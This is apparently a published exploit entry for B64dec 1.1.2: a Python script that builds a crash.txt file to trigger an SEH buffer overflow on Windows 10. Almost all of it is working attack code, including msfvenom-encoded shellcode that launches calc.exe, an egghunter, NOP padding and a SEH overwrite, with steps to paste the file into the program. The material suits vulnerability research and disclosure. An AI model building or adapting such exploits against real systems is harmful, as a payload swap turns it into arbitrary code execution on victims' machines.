B64dec 1.1.2 – Buffer Overflow (SEH Overflow + EggHunter)
# Exploit Title: B64dec 1.1.2 - Buffer Overflow (SEH Overflow + Egg Hunter) # Date: 2020-04-13 # Exploit Author: Andy Bowden # Vendor Homepage: http://4mhz.de/b64dec.html # Software Link: http://4mhz.de/download.php?file=b64dec-1-1-2.zip # Version: Base64 Decoder 1.1.2 # Tested on: Windows 10 x86 #Instructions: # Run the script to create the Crash.txt file. Copy the contents of the file and paste them into the search box and then click decode. f = open("crash.txt", "wb") padding1 = b"ERCDERCD" padding1 += b"\x90" * 100 # msfvenom -a x86 -p windows/exec -e x86/shikata_ga_nai -b '\x00\x0a\x0d' # cmd=calc.exe exitfunc=thread -f python payload = b"" payload += b"\xdb\xce\xbf\x90\x28\x2f\x09\xd9\x74\x24\xf4\x5d\x29" payload += b"\xc9\xb1\x31\x31\x7d\x18\x83\xc5\x04\x03\x7d\x84\xca" payload += b"\xda\xf5\x4c\x88\x25\x06\x8c\xed\xac\xe3\xbd\x2d\xca" payload += b"\x60\xed\x9d\x98\x25\x01\x55\xcc\xdd\x92\x1b\xd9\xd2" payload += b"\x13\x91\x3f\xdc\xa4\x8a\x7c\x7f\x26\xd1\x50\x5f\x17" payload += b"\x1a\xa5\x9e\x50\x47\x44\xf2\x09\x03\xfb\xe3\x3e\x59" payload += b"\xc0\x88\x0c\x4f\x40\x6c\xc4\x6e\x61\x23\x5f\x29\xa1" payload += b"\xc5\x8c\x41\xe8\xdd\xd1\x6c\xa2\x56\x21\x1a\x35\xbf" payload += b"\x78\xe3\x9a\xfe\xb5\x16\xe2\xc7\x71\xc9\x91\x31\x82" payload += b"\x74\xa2\x85\xf9\xa2\x27\x1e\x59\x20\x9f\xfa\x58\xe5" payload += b"\x46\x88\x56\x42\x0c\xd6\x7a\x55\xc1\x6c\x86\xde\xe4" payload += b"\xa2\x0f\xa4\xc2\x66\x54\x7e\x6a\x3e\x30\xd1\x93\x20" payload += b"\x9b\x8e\x31\x2a\x31\xda\x4b\x71\x5f\x1d\xd9\x0f\x2d" payload += b"\x1d\xe1\x0f\x01\x76\xd0\x84\xce\x01\xed\x4e\xab\xee" payload += b"\x0f\x5b\xc1\x86\x89\x0e\x68\xcb\x29\xe5\xae\xf2\xa9" payload += b"\x0c\x4e\x01\xb1\x64\x4b\x4d\x75\x94\x21\xde\x10\x9a" payload += b"\x96\xdf\x30\xf9\x79\x4c\xd8\xd0\x1c\xf4\x7b\x2d" egghunter = b"\x8B\xFD" # mov edi,ebp egghunter += b"\xB8\x45\x52\x43\x44" # mov eax,45525344 ERCD egghunter += b"\x47" # inc edi egghunter += b"\x39\x07" # cmp dword ptr ds:[edi],eax egghunter += b"\x75\xFB" # jne egghunter += b"\x39\x07" # cmp dword ptr ds:[edi],eax egghunter += b"\x75\xF7" # jne egghunter += b"\xFF\xE7" # jmp edi buf = padding1 + payload buf += b"\x90" * (580 - len(padding1 + payload)) buf += egghunter buf += b"\x90" * (620 - len(buf)) buf += b"\x90\x90\xEB\xCE" buf += b"\x86\x1e\x40" #00401e86 f.write(buf) f.close() |